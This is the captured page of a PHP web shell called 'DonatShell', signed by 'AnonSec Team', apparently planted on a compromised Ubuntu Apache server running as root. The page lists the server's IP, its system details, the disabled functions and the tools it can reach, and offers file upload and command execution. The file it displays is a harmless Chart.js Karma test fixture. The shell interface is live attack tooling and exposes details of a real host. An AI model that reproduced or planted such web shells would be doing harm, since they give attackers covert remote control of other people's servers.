%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/11585/cwd/html/ppaobm/vendor/bower-asset/chartjs/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/11585/cwd/html/ppaobm/vendor/bower-asset/chartjs/test/fixture.js
/* global __karma__ */

'use strict';

var utils = require('./utils');

function readFile(url, callback) {
	var request = new XMLHttpRequest();
	request.onreadystatechange = function() {
		if (request.readyState === 4) {
			return callback(request.responseText);
		}
	};

	request.open('GET', url, false);
	request.send(null);
}

function loadConfig(url, callback) {
	var regex = /\.(json|js)$/i;
	var matches = url.match(regex);
	var type = matches ? matches[1] : 'json';
	var cfg = null;

	readFile(url, function(content) {
		switch (type) {
		case 'js':
			// eslint-disable-next-line
			cfg = new Function('"use strict"; var module = {};' + content + '; return module.exports;')();
			break;
		case 'json':
			cfg = JSON.parse(content);
			break;
		default:
		}

		callback(cfg);
	});
}

function specFromFixture(description, inputs) {
	var input = inputs.js || inputs.json;
	it(input, function(done) {
		loadConfig(input, function(json) {
			var chart = utils.acquireChart(json.config, json.options);
			if (!inputs.png) {
				fail('Missing PNG comparison file for ' + inputs.json);
				done();
			}

			utils.readImageData(inputs.png, function(expected) {
				expect(chart).toEqualImageData(expected, json);
				utils.releaseChart(chart);
				done();
			});
		});
	});
}

function specsFromFixtures(path) {
	var regex = new RegExp('(^/base/test/fixtures/' + path + '.+)\\.(png|json|js)');
	var inputs = {};

	Object.keys(__karma__.files || {}).forEach(function(file) {
		var matches = file.match(regex);
		var name = matches && matches[1];
		var type = matches && matches[2];

		if (name && type) {
			inputs[name] = inputs[name] || {};
			inputs[name][type] = file;
		}
	});

	return function() {
		Object.keys(inputs).forEach(function(key) {
			specFromFixture(key, inputs[key]);
		});
	};
}

module.exports = {
	specs: specsFromFixtures
};


Anon7 - 2022
AnonSec Team